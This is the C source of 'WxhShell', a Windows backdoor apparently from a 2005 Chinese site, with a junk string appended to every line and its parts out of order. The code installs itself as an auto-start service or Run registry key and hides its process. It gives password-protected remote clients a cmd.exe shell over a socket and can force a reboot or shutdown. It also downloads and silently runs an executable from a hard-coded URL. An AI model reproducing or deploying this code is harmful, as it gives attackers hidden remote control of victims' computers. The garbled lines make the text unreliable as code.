    if(Boot(SHUTDOWN)) k+Ew+j1_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =[{YI2S  
    else { 78a!@T1#  
    closesocket(wsh); )\fAy  
    ExitThread(0); Zq wxi1  
    } '@OqWdaR  
    break; 6;"^Id  
    } %@JNX}Y'  
  // 获取shell pdCn98}%-  
  case 's': { mY[s2t  
    CmdShell(wsh); ia=eFWt.  
    closesocket(wsh); ,=o)R,[  
    ExitThread(0); `R:p-"'b  
    break; N$#518  
  } [X>\!mt  
  // 退出 8z,i/:  
  case 'x': { =R+z\`2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dMkDNaH,  
    CloseIt(wsh); MZ" yjQA  
    break; %N}O Mc.W  
    } yVds2J'w-  
  // 离开 QUa_gYp0v  
  case 'q': { bpq2TgFj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o#(z*v@  
    closesocket(wsh); ki/xo^Y2<  
    WSACleanup(); -"*UICd  
    exit(1); oy+``W~  
    break; 43_;Z| T  
        } ~3p :jEM.[  
  } NyHHK8>  
  } p4} ,xQzB  
%C&HR2  
  // 提示信息 `LD#fg*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8S;]]*cD~  
} |a!AgvNF  
  } P_:A%T  
l!Bc0  
  return; Z.9 ?u;  
} aDJ\%  
lgR;V]^YX  
// shell模块句柄 B^4D`0G[4  
int CmdShell(SOCKET sock) Yt^<^l77D  
{ {P'TtlEp  
STARTUPINFO si; IYtM'!u  
ZeroMemory(&si,sizeof(si)); 4=]CAO=O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K.A!?U=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z7 \gj`  
PROCESS_INFORMATION ProcessInfo; zk)9tm;i{  
char cmdline[]="cmd"; Q_p!;3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7D5;lM[_  
  return 0; v0pyyUqS  
} 5_4Y/2_|  
\etuIFQ#U  
// 自身启动模式 hD OEJ  
int StartFromService(void) I%dFVt@  
{ S;0,UgB1  
typedef struct Q)"L8v v  
{ ( e> .hfrs  
  DWORD ExitStatus; WJH)>4M#  
  DWORD PebBaseAddress; U}9B wr^  
  DWORD AffinityMask; A0L&p(i  
  DWORD BasePriority; hg8gB8Xq  
  ULONG UniqueProcessId; ] r8 hMv  
  ULONG InheritedFromUniqueProcessId; ^G5BD_  
}   PROCESS_BASIC_INFORMATION; }lN@J,q  
5k&tRg  
PROCNTQSIP NtQueryInformationProcess; +APf[ZpU  
I]S8:w![  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d'1 L#`?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uFd.2,XNP  
5)=XzO0  
  HANDLE             hProcess; Z4eu'.r-y~  
  PROCESS_BASIC_INFORMATION pbi; ~N</;{}fL4  
L%D:gy9o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RS`]>K3t  
  if(NULL == hInst ) return 0;  '%! '1si  
EH;w <LvT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k M/cD`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L0j&p[(r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GyE-fB4C  
yHvF"4]  
  if (!NtQueryInformationProcess) return 0; 6>I{Ik@>  
aOWE\I c8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _O!)aD  
  if(!hProcess) return 0; JaC =\\B  
.gPE Qc+D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z,'#=K  
r[P5 ufy2]  
  CloseHandle(hProcess); 6#NptXB  
XwlA W7lU=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <OG rC .k}  
if(hProcess==NULL) return 0; }m6zu'CV  
{fsU(Jj\  
HMODULE hMod; ~WS;)Q0|  
char procName[255]; I?sA)!8  
unsigned long cbNeeded; 2{t i])  
U1&pcwP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J \iyc,M<M  
'jv[Gcss3L  
  CloseHandle(hProcess); eT??F  
vB0O3]  
if(strstr(procName,"services")) return 1; // 以服务启动 'qRK6}"T  
>UTAk  
  return 0; // 注册表启动 @^Tof5?F?  
} l#8SlRji  
0Xmp)_vba  
// 主模块 !2dA8b  
int StartWxhshell(LPSTR lpCmdLine) a}N m;5K  
{ u!in>]^  
  SOCKET wsl; /|{Yot e  
BOOL val=TRUE; y=!"++T]B<  
  int port=0; p1B~:9y9X  
  struct sockaddr_in door; ]<z4p'F1%  
[da,SM  
  if(wscfg.ws_autoins) Install(); &m=Xg(G~c  
}{Y)[w#R  
port=atoi(lpCmdLine); <I.anIB:U  
m2o*d$Ke  
if(port<=0) port=wscfg.ws_port; klC;fm2C  
["|' f  
  WSADATA data; `I$'Lp#5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =3rPE"@,[  
oiP8~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VV/6~jy0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lSw9e<jYO  
  door.sin_family = AF_INET; q'kZ3 G   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rpit>  
  door.sin_port = htons(port); cr!6qv1  
=$`xis\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _akC^h T  
closesocket(wsl); f&+=eUp  
return 1; [zp v3Uw  
} G5y>v^&H  
v J*IUy  
  if(listen(wsl,2) == INVALID_SOCKET) { "bFt+N  
closesocket(wsl); HJl$v#]#+  
return 1; T( @y#09  
} y74Ph:^ k  
  Wxhshell(wsl); b>|3?G  
  WSACleanup(); .k5 TQt  
}V.Wp6"S   
return 0; ` aTkIo:ms  
sW)C6 #  
} j-2`yR  
:O:Rfmr~  
// 以NT服务方式启动 /s.O3x._'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4^1B'>I  
{ @fR^":.h  
DWORD   status = 0; uPk`9c52%  
  DWORD   specificError = 0xfffffff; 41luFtE9  
@DgJxY|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6Q]c]cCu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a`5ODW+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D`]Lm24_]  
  serviceStatus.dwWin32ExitCode     = 0; %OWLM  
  serviceStatus.dwServiceSpecificExitCode = 0; u}u;jTi> 2  
  serviceStatus.dwCheckPoint       = 0; @vWC "W  
  serviceStatus.dwWaitHint       = 0; !4uTi [e  
f(.@]eu X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); reml|!F-)  
  if (hServiceStatusHandle==0) return; Sfc0 ~1  
T1bPI/  
status = GetLastError(); srfFJX7*  
  if (status!=NO_ERROR) .5+*,+-  
{ b9uo6u4s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l1^/Q~u  
    serviceStatus.dwCheckPoint       = 0; 3ThCY`  
    serviceStatus.dwWaitHint       = 0; 7 }`c:u~j  
    serviceStatus.dwWin32ExitCode     = status; qJQE|VM&  
    serviceStatus.dwServiceSpecificExitCode = specificError; |B&KT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G5W6P7-<X  
    return; *<*{gO?Q4  
  } j""I,$t  
)5Yv7x(K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z5juyzj  
  serviceStatus.dwCheckPoint       = 0; 7sECbbJT  
  serviceStatus.dwWaitHint       = 0; 5Cxh >,k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Y@rNmBj  
} `6V-a_8;[  
) |`eCzCB  
// 处理NT服务事件,比如:启动、停止 m7X&"0X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j:D@X=|  
{ QC.WR'.  
switch(fdwControl) p2}$S@GD  
{ <,qJ% kc  
case SERVICE_CONTROL_STOP: ,2mnjq/*Z  
  serviceStatus.dwWin32ExitCode = 0; P;[5#-e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }K,:aN,44\  
  serviceStatus.dwCheckPoint   = 0; NVx`'Il8 "  
  serviceStatus.dwWaitHint     = 0; 8cn)ox|J[  
  { .+3= H@8h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |+Z, 7~!  
  } )c=R)=N  
  return; xZjl_ b J  
case SERVICE_CONTROL_PAUSE: 7|3Qcn7P)@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wsp&U .z  
  break; xN wKTIK$  
case SERVICE_CONTROL_CONTINUE: R? Y#>K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YK*2  
  break; &T?>Kx  
case SERVICE_CONTROL_INTERROGATE: HM%n`1ZU  
  break; g~_cYy  
}; evf){XhT;n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kx9Cx 5B  
} <mlQn?u  
]bO {001y,  
// 标准应用程序主函数 9_'xq.uP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @`2<^-r\  
{ T[M?:~  
r{qM!(T  
// 获取操作系统版本 SeAokz>  
OsIsNt=GetOsVer(); uEQH6~\{Nl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I@P[}XS  
$Tu%dE(OF  
  // 从命令行安装 wVk2Fr(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]k Ls2? \  
:$d3}TjsA+  
  // 下载执行文件 R`ajll1  
if(wscfg.ws_downexe) { =O~1L m;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2%0z PflT  
  WinExec(wscfg.ws_filenam,SW_HIDE); v :]y#y  
} /6}4<~~4TA  
?RGL0`Lg  
if(!OsIsNt) { GutH}Kz"&  
// 如果时win9x,隐藏进程并且设置为注册表启动 yA*~O$~Y  
HideProc(); *v3/8enf  
StartWxhshell(lpCmdLine); aNb=gjLpt  
} VVeO>jd  
else X5U.8qI3  
  if(StartFromService()) Sr~zN:wn  
  // 以服务方式启动 (8o~ XL  
  StartServiceCtrlDispatcher(DispatchTable); B1m@  
else \~:Kp Kq  
  // 普通方式启动 3:jKuOX  
  StartWxhshell(lpCmdLine); z<c^<hE:l  
%Rv&VFg  
return 0; BDZB;DPb  
} eKn&`\j6  
%)*!(%\S*3  
b_-ESs]g  
+<6L>ZAL  
=========================================== Z@&_ T3M  
pI7\]e  
e8gJ }8Fj  
@& #df  
bs U$mtW  
1C+Y|p?KA  
" |J2_2a/"  
a*hOT_;#  
#include <stdio.h> h8 >7si  
#include <string.h> u7G@VZ Ux5  
#include <windows.h>  'vj45b  
#include <winsock2.h> )hK5_]"lmj  
#include <winsvc.h> %KNnss}  
#include <urlmon.h> kH d_q.  
O_0|Q@  
#pragma comment (lib, "Ws2_32.lib") :bwdEni1P  
#pragma comment (lib, "urlmon.lib") ~R-S$qizAC  
Yo @>O98  
#define MAX_USER   100 // 最大客户端连接数 ElhTB  
#define BUF_SOCK   200 // sock buffer 4IG=mG)  
#define KEY_BUFF   255 // 输入 buffer S%uH*&`  
sR,]eo<p&  
#define REBOOT     0   // 重启 *X\i= K!  
#define SHUTDOWN   1   // 关机 *3WK:0  
r&)/3^S '  
#define DEF_PORT   5000 // 监听端口 0F=UZf&  
xksQMS2#  
#define REG_LEN     16   // 注册表键长度 LtbL[z>]  
#define SVC_LEN     80   // NT服务名长度 EHkb{Q8  
k:s}`h _n  
// 从dll定义API k(<5tvd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HxAq& J;xu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VJBVk8P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2G:)27Q-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?XL[[vyr  
Ya*lq! u  
// wxhshell配置信息 G& cm5  
struct WSCFG { G U~?S'{  
  int ws_port;         // 监听端口 @!fy24R]D  
  char ws_passstr[REG_LEN]; // 口令 0#F3@/1h  
  int ws_autoins;       // 安装标记, 1=yes 0=no *D #H-]9  
  char ws_regname[REG_LEN]; // 注册表键名 A?|KA<&m#u  
  char ws_svcname[REG_LEN]; // 服务名 "5%G [MB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ $Q',  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k#R}^Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %75|+((fC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2,puu2F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z!G_" 3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r J ?Y~Q  
mm/U9hbp%  
}; I? dh"*Js&  
rtv\Pf|  
// default Wxhshell configuration xb0hJ~e  
struct WSCFG wscfg={DEF_PORT, ^tsIgK^9H  
    "xuhuanlingzhe", *!%y.$\cE  
    1, vi@a87w>  
    "Wxhshell", Ttn=VX{ \  
    "Wxhshell", yxQxc5/X)  
            "WxhShell Service", bB3Mpaw@  
    "Wrsky Windows CmdShell Service", _o~<f)E[9  
    "Please Input Your Password: ", <8Nh dCO6  
  1, }|H]>U&  
  "http://www.wrsky.com/wxhshell.exe", (`GO@  
  "Wxhshell.exe" v3[Z ]+ ]  
    }; ,& =(DJ  
M|?qSFv:  
// 消息定义模块 (FbqKx'uq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8U0y86q>)E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AOWX=`J8V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d~C YZ  
char *msg_ws_ext="\n\rExit."; R!W!8rr3  
char *msg_ws_end="\n\rQuit."; gSEj/?  
char *msg_ws_boot="\n\rReboot..."; 0`"]mYH  
char *msg_ws_poff="\n\rShutdown..."; f"xi7vJv!f  
char *msg_ws_down="\n\rSave to "; jIK *psaV  
YKf,vHau  
char *msg_ws_err="\n\rErr!"; T({:Y. A;  
char *msg_ws_ok="\n\rOK!"; '[I_Iu#,  
8HX(1nNj}  
char ExeFile[MAX_PATH]; )+wBS3BC  
int nUser = 0; tS#EqMf&o  
HANDLE handles[MAX_USER]; LkMhS0?(T  
int OsIsNt; gsI"G  
 }XaO~]  
SERVICE_STATUS       serviceStatus; 1d7oR`qr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; + htTrHjt  
c 6}d{B[  
// 函数声明 gQ.yNe  
int Install(void); CY)/1 # J  
int Uninstall(void); If\u^c  
int DownloadFile(char *sURL, SOCKET wsh); qW6a|s0}  
int Boot(int flag); 9@./=5N~3  
void HideProc(void); " ^ydoRZ  
int GetOsVer(void); H!4!1J.=xw  
int Wxhshell(SOCKET wsl); ;TF(opW:  
void TalkWithClient(void *cs); Bt[`p\p@  
int CmdShell(SOCKET sock); UMm<HQ  
int StartFromService(void); 3qiE#+dC  
int StartWxhshell(LPSTR lpCmdLine); a-4'jT:  
_xI'p6C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4} 'Xrg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?}m/Q"!1  
Tc,Bv7:  
// 数据结构和表定义 l^:m!SA_  
SERVICE_TABLE_ENTRY DispatchTable[] = T.<er iv  
{ 49nZWv48"_  
{wscfg.ws_svcname, NTServiceMain}, gZ%B9i:  
{NULL, NULL} ~KD x  
}; {r`l  
zwN;CD1  
// 自我安装 skR/Wf9DH  
int Install(void) iUi{)xa2  
{ I$\dT1m$  
  char svExeFile[MAX_PATH]; Ljq/f& c  
  HKEY key; $@FD01h.t3  
  strcpy(svExeFile,ExeFile); m/| >4~  
(Z=ziopDE  
// 如果是win9x系统,修改注册表设为自启动 M]!R}<]{  
if(!OsIsNt) { yrnB]$hf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pAtHU(}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eU1= :n&&\  
  RegCloseKey(key); nj!)\U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~7Kqc\/H&I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r*N:-I~z  
  RegCloseKey(key); X |.'_6l.  
  return 0; Id *Gs>4U  
    } jx!)N>  
  } Qpndi$2H!  
} j.uN`cU!  
else { -i V&-oP  
}el. qZ  
// 如果是NT以上系统,安装为系统服务 e7t).s)b{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >1`FR w<  
if (schSCManager!=0) P1vr}J  
{ Vpt)?];P  
  SC_HANDLE schService = CreateService R<Ojaj=V  
  ( sT[)r]`T  
  schSCManager, xoTS?7  
  wscfg.ws_svcname, !oLrN/-  
  wscfg.ws_svcdisp, R,C)|*ef  
  SERVICE_ALL_ACCESS, 0J_ AX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5znLpBX<N  
  SERVICE_AUTO_START, }e6Ta_Z~  
  SERVICE_ERROR_NORMAL, n <6}  
  svExeFile, LU_@8i:  
  NULL, ilw<Q-o4(  
  NULL, KM g`O3_16  
  NULL, Dn) =V.  
  NULL, &9$0v"`H  
  NULL fa=#S  
  ); SDcxro|8i  
  if (schService!=0) ZwAX+0  
  { yHurt>8b[  
  CloseServiceHandle(schService); y<m{eDV7  
  CloseServiceHandle(schSCManager); S6B(g_D|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k;3Bv 6  
  strcat(svExeFile,wscfg.ws_svcname); GfUIF]X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (sW:^0p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g.kpUs  
  RegCloseKey(key); k~>9,=::d  
  return 0; DifRpj I-0  
    } N;>>HN[bBP  
  } fGcAkEstT!  
  CloseServiceHandle(schSCManager); d@b0z$<s  
} tE]g*]o  
} SIKy8?Fn  
3I^KJ/)A  
return 1; brb8C%j}9  
} zid?yuP  
#E2`KGCzW  
// 自我卸载 bS3qX{5  
int Uninstall(void) KunK.m  
{ 'd]9u9u  
  HKEY key; 4\pi<#X  
5{zXh  
if(!OsIsNt) { 5>t&)g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Mp~^sgp'  
  RegDeleteValue(key,wscfg.ws_regname); !3DWz6u  
  RegCloseKey(key); U; ?%rM6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LbJ tU !  
  RegDeleteValue(key,wscfg.ws_regname); ~q?IG5s*Z  
  RegCloseKey(key); 0Tp?ED_  
  return 0; -3/:Dk`3  
  } _c['_HC  
} }zj w\  
} r6Lb0PzMf  
else { Ig'Y]%Z0  
doBfpQ2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S6 $S%$  
if (schSCManager!=0) ^8o'\V"m^  
{ 82~UI'f \  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vPR1 TMi>  
  if (schService!=0) MfJk`-%~  
  { Xf:CGR8_  
  if(DeleteService(schService)!=0) { mbsdiab#N  
  CloseServiceHandle(schService); 0(Vbji  
  CloseServiceHandle(schSCManager); Z9i,#/  
  return 0; L4zSro:Si  
  } ldM [8  
  CloseServiceHandle(schService); Oe'Nn250  
  } w^ui%9 &6H  
  CloseServiceHandle(schSCManager); 0Q;T <% U  
} .hg<\-:_  
} H #J"'  
:u'X ~ID[  
return 1; }yLdU|'W  
} ;QR|v  
prlnK  
// 从指定url下载文件 5u:+hB  
int DownloadFile(char *sURL, SOCKET wsh) r4gkSwy  
{ (gNI6;P;}  
  HRESULT hr; %\}|&z6  
char seps[]= "/"; DHbLS3-  
char *token;  s+[_5n~  
char *file; q5BJsw  
char myURL[MAX_PATH]; TIW6v4  
char myFILE[MAX_PATH]; !Wvzum@5D  
=gGK243  
strcpy(myURL,sURL); (u]ft]z,-B  
  token=strtok(myURL,seps);  elWN-~  
  while(token!=NULL) 6[69|&  
  { y`E2IE2o  
    file=token; 37ll8  
  token=strtok(NULL,seps); LOX[h$  
  } 7Fq mT  
9u1_L`+b  
GetCurrentDirectory(MAX_PATH,myFILE); CHdw>/5  
strcat(myFILE, "\\"); N Rcg~Nu  
strcat(myFILE, file); 6vX+- f  
  send(wsh,myFILE,strlen(myFILE),0); zf$OC}|\w  
send(wsh,"...",3,0); b]g}h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %pc0a^iB  
  if(hr==S_OK) ve1jLjsB  
return 0; XEfTAW#7  
else j*I0]!-  
return 1; J6hWcA6 g  
1|;WaO1Q  
} jn^i4f>N  
Q&MZ/Nnf  
// 系统电源模块 6aM`qz)  
int Boot(int flag) lDe9EJR  
{ 2N5 N^S  
  HANDLE hToken; D?}LKs[  
  TOKEN_PRIVILEGES tkp; ;p BXAl  
XC?H  
  if(OsIsNt) { h"l{cDk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KofjveOiC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KFA B  
    tkp.PrivilegeCount = 1; 9=rYzA?)+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wfu%,=@,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZA2y  
if(flag==REBOOT) { kC01s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U> e@m?  
  return 0; 3 V8SKBS  
} Uk S86`.  
else { oMLpl3pl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 01H3@0Q6  
  return 0; >/6v` 8F  
} /{>ds-;-  
  } ,PJl32  
  else { 5irewh'R  
if(flag==REBOOT) { >Eik>dQ a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pJ+>qy5  
  return 0; g[8V fIe  
} 5f/[HO)  
else { :7W5R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s<E_74q1  
  return 0; I}n"6'*  
} b7aAP*$  
} /P^@dL  
q<oA%yR  
return 1; VY=~cVkzS  
} ~ZG>n{Q   
K._1sOw'"Y  
// win9x进程隐藏模块 ,{J2i#g<  
void HideProc(void) 8}xU]N#EV  
{ 2J9eeN  
S]<G|mn,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dXe763~<  
  if ( hKernel != NULL ) d>@{!c-  
  { .a;-7|x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I #1_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "N4c>2Q  
    FreeLibrary(hKernel); xqP0Z) ,Ow  
  } BAzc'x&<  
Gg5vf]VFo  
return; & Radpb2p6  
} FE M_7M  
QHP^1W`  
// 获取操作系统版本 gJs~kQU  
int GetOsVer(void) `'0opoQRe  
{ Y)BKRS~  
  OSVERSIONINFO winfo; 5kC#uk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t,k9:p  
  GetVersionEx(&winfo); D@DK9?#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dH?pQ   
  return 1; uBl&|yvxB  
  else b.YQN'  
  return 0; k^R>xV  
} vk{4:^6.TV  
)byQ=-< 1  
// 客户端句柄模块 jG)>{D  
int Wxhshell(SOCKET wsl) _'2r=a#`  
{ A<>W^ow  
  SOCKET wsh; p&vQ* }  
  struct sockaddr_in client; y,Dfqt  
  DWORD myID; N#T MU  
~+CNED0z+  
  while(nUser<MAX_USER) 8f8+3  
{ -7=pb#y  
  int nSize=sizeof(client); 5wGyM10  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f}Uw%S=w,  
  if(wsh==INVALID_SOCKET) return 1; 8P5xRUkV  
b <=K@I.=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <6v7_  
if(handles[nUser]==0) B-@f.NO/s  
  closesocket(wsh); <@JU0Z"a=  
else #GWQ]r?  
  nUser++; [POy" O  
  } KxJJ?WyM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $?*+P``  
jLb3{}0  
  return 0; >z[d ~  
} 2GZUMXK  
HL88  
// 关闭 socket m#8}!u&  
void CloseIt(SOCKET wsh) Bu 6t3  
{ Bm~>w`1wK  
closesocket(wsh); ;uba  
nUser--; >!bYuVHA  
ExitThread(0); U$Ew,v<  
} >D-$M_  
/f0_mi,bD  
// 客户端请求句柄 _fMooI)U1  
void TalkWithClient(void *cs) |d{(&s}  
{ ~PoGuj2wA  
0&5}[9?V'  
  SOCKET wsh=(SOCKET)cs; Or_9KX2  
  char pwd[SVC_LEN]; foL`{fA  
  char cmd[KEY_BUFF]; <JKPtF2b  
char chr[1]; }jIb ^|#CD  
int i,j; [oKB1GkA  
tH W"eag  
  while (nUser < MAX_USER) { YI\^hP#  
-p%=36n  
if(wscfg.ws_passstr) { &TK%igL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (TnYUyFP`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v- {kPc=:#  
  //ZeroMemory(pwd,KEY_BUFF); `P# h?tZ  
      i=0; ]0`[L<_r  
  while(i<SVC_LEN) {  t%FS 5  
[X~H Uk??  
  // 设置超时 4<LRa=XT$  
  fd_set FdRead; :+-s7'!4  
  struct timeval TimeOut; mtTJm4  
  FD_ZERO(&FdRead); _a.Q@A4'  
  FD_SET(wsh,&FdRead); *qpmI9m  
  TimeOut.tv_sec=8; !r[uwJ=  
  TimeOut.tv_usec=0; i uN8gHx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 08.dV<P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d6M d~$R  
cDAO5^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $"_D"/*  
  pwd=chr[0]; {ifYr(|p`  
  if(chr[0]==0xd || chr[0]==0xa) { l@Ml8+  
  pwd=0; hob%'Y5%D  
  break; V}aXS;(r%  
  } wz:wR+  
  i++; 'etCIl3  
    } W6\s@)b;  
aEL6-['(  
  // 如果是非法用户,关闭 socket Ex<-<tY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kB  :")$  
} fE^rTUtn  
){wE)NN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IHB{US1G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?;i6eg17<  
RS$:]hxd>_  
while(1) { hVR=g!e#X  
Ad`; O+/;  
  ZeroMemory(cmd,KEY_BUFF); 3UH=wmG0w  
9D 0ujup  
      // 自动支持客户端 telnet标准   g(<@r2p  
  j=0; NB, iC [e  
  while(j<KEY_BUFF) { W=G[hT5L{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "}ZD-O`!  
  cmd[j]=chr[0]; 85H8`YwPh  
  if(chr[0]==0xa || chr[0]==0xd) { . e]!i(5I  
  cmd[j]=0; 3S <5s}  
  break; `FmI?:Cv  
  } 6BMRl%3>Z  
  j++; T4Zp5m")  
    } yfaXScbE  
Bj\0RmVa1  
  // 下载文件 %tpt+N?  
  if(strstr(cmd,"http://")) { h#`qEK&u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,AM6E63  
  if(DownloadFile(cmd,wsh)) .}z&$:U9[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[;p<GqGN  
  else JEBx|U$'Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&t4G}*  
  } !O$EVl  
  else { p-zLi!  
$XaZqzeVI  
    switch(cmd[0]) { \:O5,wf2  
  am@\$Sa4  
